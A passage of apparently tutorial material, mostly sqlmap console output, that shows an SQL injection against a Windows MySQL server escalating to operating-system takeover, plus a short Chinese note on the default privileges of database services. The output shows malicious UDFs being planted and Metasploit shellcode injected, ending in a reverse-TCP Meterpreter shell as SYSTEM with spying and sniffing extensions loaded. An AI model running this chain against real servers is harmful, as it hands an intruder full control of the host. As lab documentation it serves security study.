back-end DBMS:   MySQL 5.0
[hh:mm:31] [INFO]   fingerprinting the back-end DBMS operating
system
[hh:mm:31] [INFO]   the back-end DBMS operating system is Windows
how do you want to   establish the tunnel?
[1] TCP:   Metasploit Framework (default)
[2] ICMP: icmpsh -   ICMP tunneling
&gt;
[hh:mm:32] [INFO]   testing if current user is DBA
[hh:mm:32] [INFO]   fetching current user
what is the   back-end database management system architecture?
[1] 32-bit   (default)
[2] 64-bit
&gt;
[hh:mm:33] [INFO]   checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO]   checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO]   detecting back-end DBMS version from its
banner
[hh:mm:33] [INFO]   retrieving MySQL base directory absolute path
[hh:mm:34] [INFO]   creating UDF 'sys_bineval' from the binary UDF
file
[hh:mm:34] [INFO]   creating UDF 'sys_exec' from the binary UDF file
how do you want to   execute the Metasploit shellcode on the back-
end database underlying
operating system?
[1] Via UDF   'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone   payload stager (file system way)
&gt;
[hh:mm:35] [INFO]   creating Metasploit Framework multi-stage
shellcode
which connection   type do you want to use?
[1] Reverse TCP:   Connect back from the database host to this
```

```
machine (default)
[2] Reverse TCP:   Try to connect back from the database host to this
machine, on all ports
between the   specified and 65535
[3] Bind TCP:   Listen on the database host for a connection
&gt;
which is the local   address? [192.168.136.1]
which local port   number do you want to use? [60641]
which payload do   you want to use?
[1] Meterpreter   (default)
[2] Shell
[3] VNC
&gt;
[hh:mm:40] [INFO]   creation in progress ... done
[hh:mm:43] [INFO]   running Metasploit Framework command line
interface locally, please wait..
                          _
                         | |     o
_ _ _   _  _|_  __,  ,   _ |  | __   _|_
/ |/ |/   | |/  | /  | / \_|/   \_|/  /  \_|  |
| | |_/|__/|_/\_/|_/   \/ |__/ |__/\__/ |_/|_/
                    /|
                    \|


   =[   metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674   exploits - 351 auxiliary
+ -- --=[ 217   payloads - 27 encoders - 8 nops
   =[   svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD =&gt;   windows/meterpreter/reverse_tcp
EXITFUNC =&gt;   thread
LPORT =&gt;   60641
LHOST =&gt;   192.168.136.1
[*] Started   reverse handler on 192.168.136.1:60641
```

```
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode
remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -&gt;
192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter &gt; Loading extension espia...success.
meterpreter &gt; Loading extension incognito...success.
meterpreter &gt; [-] The 'priv' extension has already been loaded.
meterpreter &gt; Loading extension sniffer...success.
meterpreter &gt; System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter &gt; Server username: NT AUTHORITY\SYSTEM
meterpreter &gt; ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0

meterpreter &gt; exit
[*] Meterpreter session 1 closed. Reason: User exit
```

默认情况下 MySQL 在 Windows 上以 SYSTEM 权限运行，PostgreSQL 在 Windows 与 Linux 中是低权限运行，Microsoft SQL Server 2000 默认是以 SYSTEM 权限运行，Microsoft SQL Server 2005 与 2008 大部分是以 NETWORK SERVICE 有时是 LOCAL SERVICE。